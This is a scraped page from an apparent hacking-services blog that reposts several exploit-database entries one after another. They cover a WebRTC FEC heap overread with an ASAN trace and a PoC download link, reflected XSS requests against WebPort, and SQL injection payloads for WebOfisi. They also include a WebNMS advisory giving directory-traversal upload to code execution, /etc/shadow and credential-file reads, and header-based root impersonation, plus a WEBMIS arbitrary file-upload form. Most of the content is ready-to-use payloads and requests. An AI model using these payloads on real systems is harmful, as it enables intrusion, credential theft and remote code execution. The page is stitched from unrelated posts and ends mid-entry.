There is an out-of-bounds read in FEC processing in WebRTC. If a very short RTP packet is received, FEC will assume the packet is longer and process data outside of the allocated buffer.
This bug causes the following ASAN crash:
==109993==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b003b7ff70 at pc 0x55e01a250cd1 bp 0x7fa3af7abc40 sp 0x7fa3af7abc38
READ of size 1 at 0x61b003b7ff70 thread T15 (Chrome_libJingl)
#0 0x55e01a250cd0 in XorPayloads third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34
#1 0x55e01a250cd0 in webrtc::ForwardErrorCorrection::RecoverPacket(webrtc::ForwardErrorCorrection::ReceivedFecPacket const&, webrtc::ForwardErrorCorrection::RecoveredPacket*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:630
#2 0x55e01a251162 in webrtc::ForwardErrorCorrection::AttemptRecovery(std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:652:12
#3 0x55e01a251b12 in webrtc::ForwardErrorCorrection::DecodeFec(webrtc::ForwardErrorCorrection::ReceivedPacket const&, std::__1::list<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> >, std::__1::allocator<std::__1::unique_ptr<webrtc::ForwardErrorCorrection::RecoveredPacket, std::__1::default_delete<webrtc::ForwardErrorCorrection::RecoveredPacket> > > >*) third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:739:3
#4 0x55e01a4c5595 in webrtc::UlpfecReceiverImpl::ProcessReceivedFec() third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:248:11
#5 0x55e01a4a1bb9 in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:419:23
#6 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5
#7 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3
#8 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11
#9 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19
#10 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36
#11 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10
#12 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26
#13 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc
#14 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22
#15 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22
#16 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7
#17 0x55e00d52b6f5 in Run base/callback.h:96:12
#18 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101
#19 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25
#20 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5
#21 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373
#22 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31
#23 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14
#24 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3
#25 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13
#26 0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
0x61b003b7ff70 is located 0 bytes to the right of 1520-byte region [0x61b003b7f980,0x61b003b7ff70)
allocated by thread T15 (Chrome_libJingl) here:
#0 0x55e00607ef92 in operator new(unsigned long) /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:93:3
#1 0x55e01a4c3eeb in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, unsigned char) third_party/webrtc/modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:101:26
#2 0x55e01a4a1b6f in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:414:27
#3 0x55e01a49f05b in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:390:5
#4 0x55e01a49fcf2 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/video/rtp_video_stream_receiver.cc:290:3
#5 0x55e009a368a1 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_demuxer.cc:157:11
#6 0x55e009a3b6e1 in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) third_party/webrtc/call/rtp_stream_receiver_controller.cc:55:19
#7 0x55e01a231339 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1321:36
#8 0x55e01a232300 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) third_party/webrtc/call/call.cc:1361:10
#9 0x55e01a95d341 in cricket::WebRtcVideoChannel::OnPacketReceived(rtc::CopyOnWriteBuffer*, rtc::PacketTime const&) third_party/webrtc/media/engine/webrtcvideoengine.cc:1441:26
#10 0x55e01a1d8dc2 in cricket::BaseChannel::ProcessPacket(bool, rtc::CopyOnWriteBuffer const&, rtc::PacketTime const&) third_party/webrtc/pc/channel.cc
#11 0x55e01a1f6760 in rtc::AsyncInvoker::OnMessage(rtc::Message*) third_party/webrtc/rtc_base/asyncinvoker.cc:45:22
#12 0x55e01a0a6aa1 in jingle_glue::JingleThreadWrapper::Dispatch(rtc::Message*) jingle/glue/thread_wrapper.cc:157:22
#13 0x55e01a0a7d7e in jingle_glue::JingleThreadWrapper::RunTask(int) jingle/glue/thread_wrapper.cc:279:7
#14 0x55e00d52b6f5 in Run base/callback.h:96:12
#15 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101
#16 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25
#17 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5
#18 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373
#19 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31
#20 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14
#21 0x55e00d6878b4 in base::Thread::ThreadMain() base/threading/thread.cc:337:3
#22 0x55e00d73c694 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:76:13
#23 0x7fa3d586f493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
Thread T15 (Chrome_libJingl) created by T0 (chrome) here:
#0 0x55e00603bb7d in __interceptor_pthread_create /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3
#1 0x55e00d73b99e in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) base/threading/platform_thread_posix.cc:115:13
#2 0x55e00d686be9 in base::Thread::StartWithOptions(base::Thread::Options const&) base/threading/thread.cc:112:15
#3 0x55e00d68684b in base::Thread::Start() base/threading/thread.cc:75:10
#4 0x55e01a09ba37 in content::PeerConnectionDependencyFactory::CreatePeerConnectionFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:177:3
#5 0x55e01a09b4d0 in content::PeerConnectionDependencyFactory::GetPcFactory() content/renderer/media/webrtc/peer_connection_dependency_factory.cc:139:5
#6 0x55e01a09df09 in content::PeerConnectionDependencyFactory::CreatePeerConnection(webrtc::PeerConnectionInterface::RTCConfiguration const&, blink::WebLocalFrame*, webrtc::PeerConnectionObserver*) content/renderer/media/webrtc/peer_connection_dependency_factory.cc:340:8
#7 0x55e01aa63b1b in content::RTCPeerConnectionHandler::Initialize(blink::WebRTCConfiguration const&, blink::WebMediaConstraints const&) content/renderer/media/webrtc/rtc_peer_connection_handler.cc:1333:50
#8 0x55e01baafde2 in blink::RTCPeerConnection::RTCPeerConnection(blink::ExecutionContext*, blink::WebRTCConfiguration const&, blink::WebMediaConstraints, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:585:23
#9 0x55e01baaaedc in blink::RTCPeerConnection::Create(blink::ExecutionContext*, blink::RTCConfiguration const&, blink::Dictionary const&, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.cc:518:44
#10 0x55e01bb1ad0b in constructor gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1317:29
#11 0x55e01bb1ad0b in blink::V8RTCPeerConnection::constructorCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/modules/v8/v8_rtc_peer_connection.cc:1667
#12 0x55e00ab4db49 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo*) v8/src/api-arguments-inl.h:94:3
#13 0x55e00ab4a4c4 in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<true>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) v8/src/builtins/builtins-api.cc:109:36
#14 0x55e00ab48eb3 in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) v8/src/builtins/builtins-api.cc:135:5
#15 0x55e00c2fce0d (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xde74e0d)
#16 0x55e00c263d3f (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbd3f)
#17 0x7e9c7b70dd69 (<unknown module>)
#18 0x7e9c7b68868f (<unknown module>)
#19 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)
#20 0x55e00c263c60 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddbc60)
#21 0x7e9c7b70dd69 (<unknown module>)
#22 0x7e9c7b68868f (<unknown module>)
#23 0x7e9c7b68868f (<unknown module>)
#24 0x7e9c7b68868f (<unknown module>)
#25 0x55e00c2618a5 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xddd98a5)
#26 0x55e00c265722 (/usr/local/google/home/natashenka/chromium3/src/out/asan/chrome+0xdddd722)
#27 0x7e9c7b684820 (<unknown module>)
#28 0x55e00b3b4130 in Call v8/src/simulator.h:113:12
#29 0x55e00b3b4130 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>, v8::internal::Execution::MessageHandling, v8::internal::Execution::Target) v8/src/execution.cc:155
#30 0x55e00b3b3993 in CallInternal v8/src/execution.cc:191:10
#31 0x55e00b3b3993 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:202
#32 0x55e00aa107b4 in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api.cc:5218:7
#33 0x55e015fe0a61 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) third_party/blink/renderer/bindings/core/v8/v8_script_runner.cc:386:17
#34 0x55e016028398 in blink::V8EventListener::CallListenerFunction(blink::ScriptState*, v8::Local<v8::Value>, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_event_listener.cc:115:8
#35 0x55e016029a54 in blink::V8AbstractEventListener::InvokeEventHandler(blink::ScriptState*, blink::Event*, v8::Local<v8::Value>) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:171:20
#36 0x55e01602942b in blink::V8AbstractEventListener::HandleEvent(blink::ScriptState*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:120:3
#37 0x55e016029103 in blink::V8AbstractEventListener::handleEvent(blink::ExecutionContext*, blink::Event*) third_party/blink/renderer/bindings/core/v8/v8_abstract_event_listener.cc:108:3
#38 0x55e017446ebe in blink::EventTarget::FireEventListeners(blink::Event*, blink::EventTargetData*, blink::HeapVector<blink::RegisteredEventListener, 1ul>&) third_party/blink/renderer/core/dom/events/event_target.cc:804:15
#39 0x55e017445121 in blink::EventTarget::FireEventListeners(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:656:29
#40 0x55e017444d5b in blink::EventTarget::DispatchEventInternal(blink::Event*) third_party/blink/renderer/core/dom/events/event_target.cc:560:41
#41 0x55e017a0de87 in Create third_party/blink/renderer/core/events/progress_event.h:44:16
#42 0x55e017a0de87 in blink::FileReader::FireEvent(WTF::AtomicString const&) third_party/blink/renderer/core/fileapi/file_reader.cc:471
#43 0x55e017a0e6d4 in blink::FileReader::DidFinishLoading() third_party/blink/renderer/core/fileapi/file_reader.cc:427:3
#44 0x55e00a9494ef in blink::mojom::blink::BlobReaderClientStubDispatch::Accept(blink::mojom::blink::BlobReaderClient*, mojo::Message*) gen/third_party/blink/public/mojom/blob/blob.mojom-blink.cc:168:13
#45 0x55e00ea14f7e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:419:32
#46 0x55e00ea258b3 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:865:42
#47 0x55e00ea2409e in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:589:38
#48 0x55e00ea0efa7 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:443:51
#49 0x55e00ea1081c in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:472:10
#50 0x55e00ea00642 in Run base/callback.h:125:12
#51 0x55e00ea00642 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:274
#52 0x55e00d52b6f5 in Run base/callback.h:96:12
#53 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101
#54 0x55e00c4afc95 in base::sequence_manager::internal::ThreadControllerImpl::DoWork(base::sequence_manager::internal::ThreadControllerImpl::WorkType) third_party/blink/renderer/platform/scheduler/base/thread_controller_impl.cc:166:21
#55 0x55e00d52b6f5 in Run base/callback.h:96:12
#56 0x55e00d52b6f5 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:101
#57 0x55e00d5881d5 in base::MessageLoop::RunTask(base::PendingTask*) base/message_loop/message_loop.cc:319:25
#58 0x55e00d589444 in DeferOrRunPendingTask base/message_loop/message_loop.cc:329:5
#59 0x55e00d589444 in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:373
#60 0x55e00d591acf in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:37:31
#61 0x55e00d600551 in base::RunLoop::Run() base/run_loop.cc:102:14
#62 0x55e01bfb0599 in content::RendererMain(content::MainFunctionParams const&) content/renderer/renderer_main.cc:218:23
#63 0x55e00cafbca5 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:567:14
#64 0x55e00caff751 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:969:10
#65 0x55e00cb1e6c3 in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:459:29
#66 0x55e00cafa2d0 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
#67 0x55e006081fe3 in ChromeMain chrome/app/chrome_main.cc:101:12
#68 0x7fa3ceac32b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/webrtc/modules/rtp_rtcp/source/forward_error_correction.cc:615:34 in XorPayloads
Shadow bytes around the buggy address:
0x0c3680767f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3680767fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3680767fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3680767fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3680767fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3680767fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa
0x0c3680767ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680768000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3680768010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680768020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3680768030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==109993==ABORTING
To reproduce this issue:
1) Apply new.patch to a fresh WebRTC tree
2) Build video_replay
3) Download the attached files and run ./video_replay --input_file fec
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45444.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863152461
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: WebPort 1.19.1 - Reflected Cross-Site Scripting
# Date: 2019-05-30
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://webport.se/
# Software Link: https://webport.se/nedladdningar/
# Version: v1.19.1
# Tested on: Windows/Linux
# CVE-2019-12461
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12461
# https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
# PoC
To exploit vulnerability, someone could use 'http://
[server]:8090/log?type="</script><script>alert('xss');</script><script>'
request
to impact users who open a maliciously crafted link or third-party web page.
GET /log?type=%22%3C/script%3E%3Cscript%3Ealert(%27xss%27);%3C/script%3E%3Cscript%3E
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: __tiny_sessid=6361847c-952b-45ba-874c-71f1794ffe37
Upgrade-Insecure-Requests: 1
# Exploit Title: WebPort 1.19.1 - 'setup' Reflected Cross-Site Scripting
# Date: 2019-05-30
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://webport.se/
# Software Link: https://webport.se/nedladdningar/
# Version: v1.19.1
# Tested on: Windows/Linux
# CVE-2019-12460
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12460
# https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
# PoC
To exploit vulnerability, someone could use 'http://
[server]:8090/access/setup?type="</script><script>alert('xss');</script><script>'
request
to impact users who open a maliciously crafted link or third-party web page.
GET /access/setup?type=%22%3C/script%3E%3Cscript%3Ealert(%27xss%27);%3C/script%3E%3Cscript%3E
HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0)
Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: __tiny_sessid=6361847c-952b-45ba-874c-71f1794ffe37
Upgrade-Insecure-Requests: 1
# Exploit Title: WebOfisi E-Ticaret V4 - 'urun' SQL Injection
# Date: 2018-11-21
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.web-ofisi.com
# Software Demo: http://demobul.net/eticaretv4/
# Software Link: https://drive.google.com/file/d/1ZghFSsYto-Vpv3PXunx8xm2g-Gs3HJwz/view?usp=sharing
# Version: v4.0
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: E-Ticaret v4 is a professional online shopping script with many features.
# Vulnerabilities have been discovered during penetration testing.
# PoC : SQLi :
# Request : /eticaretv4/arama.html?kategori=20&urun=test
# Parameter : urun (GET)
# Type : boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload:
kategori=20&urun=test") RLIKE (SELECT (CASE WHEN (6525=6525)THEN 0x74656474 ELSE 0x28 END)) AND ("YWLa"="YWLa
# Type: error-based
# Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload:
kategori=20&urun=test") OR (SELECT 6556 FROM(SELECT COUNT(*),CONCAT(0x71626b6b71,(SELECT(ELT(6556=6556,1))),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("ExaV"="ExaV
# Type: stacked queries
# Title: MySQL < 5.0.12 stacked queries (heavy query)
# Payload:
kategori=20&urun=test");SELECT BENCHMARK(5000000,MD5(0x44527964)) AND ("KGaO"="KGaO
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind
# Payload:
kategori=20&urun=test") OR SLEEP(5) AND ("sDnb"="sDnb
# PoC : XSS :
# Payload :
http://demobul.net/eticaretv4/arama.html?kategori=20&urun=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E
>> Multiple vulnerabilities in WebNMS Framework Server 5.2 and 5.2 SP1
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 04/07/2016 / Last updated: 08/08/2016
>> Background on the affected product:
"WebNMS is an industry-leading framework for building network management applications. With over 25,000 deployments worldwide and in every Tier 1 Carrier, network equipment providers and service providers can customize, extend and rebrand WebNMS as a comprehensive Element Management System (EMS) or Network Management System (NMS).
NOC Operators, Architects and Developers can customize the functional modules to fit their domain and network. Functional modules include Fault Correlation, Performance KPIs, Device Configuration, Service Provisioning and Security. WebNMS supports numerous Operating Systems, Application Servers, and databases."
>> Summary:
WebNMS contains three critical vulnerabilities that can be exploited by an unauthenticated attacker: one directory traversal that can be used to achieve remote code execution, another directory traversal that can be abused to download any text file in the system and the possibility to impersonate any user in the system. In addition, WebNMS also stores the user passwords in a file with a weak obfuscation algorithm that can be easily reversed.
A special thanks to the SecuriTeam Secure Disclosure programme (SSD), which performed the disclosure in a responsible manner to the affected vendor. This advisory can be seen in their blog at https://blogs.securiteam.com/index.php/archives/2712
Metasploit exploits for all vulnerabilities have also been released.
>> Technical details:
#1
Vulnerability: Directory traversal in file upload functionality (leading to remote code execution)
CVE-2016-6600
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints.
Affected versions: unknown, at least 5.2 and 5.2 SP1
The FileUploadServlet has a directory traversal vulnerability, that allows an unauthenticated attacker to upload a JSP file that executes on the server.
To exploit this vulnerability, simply POST as per the proof of concept below. The directory traversal is in the "fileName" parameter.
POST /servlets/FileUploadServlet?fileName=../jsp/Login.jsp HTTP/1.1
<JSP payload here>
There are two things to keep in mind for the upload to be successful:
- Only text files can be uploaded, binary files will be mangled.
- In order to achieve code execution without authentication, the files need to be dropped in ../jsp/ but they can only have the following names: either Login.jsp or a WebStartXXX.jsp, where XXX is any string of any length.
#2
Vulnerability: Directory traversal in file download functionality
CVE-2016-6601
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. Only text files can be downloaded properly, any binary file will get mangled by the servlet and downloaded incorrectly.
Affected versions: unknown, at least 5.2 and 5.2 SP1
The FetchFile servlet has a directory traversal vulnerability that can be abused by an unauthenticated attacker to download arbitrary files from the WebNMS host. The vulnerable parameter is "fileName" and a proof of concept is shown below.
GET /servlets/FetchFile?fileName=../../../etc/shadow
#3
Vulnerability: Weak obfuscation algorithm used to store passwords
CVE-2016-6602
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker.
Affected versions: unknown, at least 5.2 and 5.2 SP1
The ./conf/securitydbData.xml file (in the WebNMS WEB-INF directory) contains entries with all the usernames and passwords in the server:
<DATA ownername="NULL" password="e8c89O1f" username="guest"/>
<DATA ownername="NULL" password="d7963B4t" username="root"/>
The algorithm used to obfuscate is convoluted but easy to reverse engineer. The passwords above are "guest" for the "guest" user and "admin" for the "root" user. A Metasploit module implementing the deobfuscation algorithm has been released.
This vulnerability can be combined with #2 and allow an unauthenticated attacker to obtain credentials for all user accounts:
GET /servlets/FetchFile?fileName=conf/securitydbData.xml
#4
Vulnerability: User account impersonation / hijacking
CVE-2016-6603
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker.
Affected versions: unknown, at least 5.2 and 5.2 SP1
It is possible to impersonate any user in WebNMS by simply setting the "UserName" HTTP header when making a request, which will return a valid authenticated session cookie. This allows an unauthenticated attacker to impersonate the superuser ("root") and perform administrative actions. The proof of concept is shown below:
GET /servlets/GetChallengeServlet HTTP/1.1
UserName: root
This returns the cookie "SessionId=0033C8CFFE37EB6093849CBA4BF2CAF3;" which is a valid, JSESSIONID cookie authenticated as the "root" user. This can then be used to login to the WebNMS Framework Server by simply setting the cookie and browsing to any page.
>> Fix:
Since the vendor did not respond to any contacts attempted by Beyond Security and its SSD programme, it is not known whether a fixed version of WebNMS Framework Server has been released. It is highly recommended not to expose the server to any untrusted networks (such as the Internet).
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
source: https://www.securityfocus.com/bid/68658/info
WEBMIS CMS is prone to a vulnerability that lets attackers upload arbitrary files.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
<form
action="http://www.example.com/webmis_installation/plugin/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type=text name="path" value="/webmis_installation/plugin/">
<input type=text name="someKey" value="someValue"]>
<input type="submit" name="submit" value="Submit">
</form>
# Exploit Title: Webmin Usermin 2.100 - Username Enumeration
# Date: 10.02.2024
# Exploit Author: Kjesper
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <= 2.100
# Tested on: Kali Linux
# CVE: CVE-2024-44762
# https://senscybersecurity.nl/cve-2024-44762-explained/
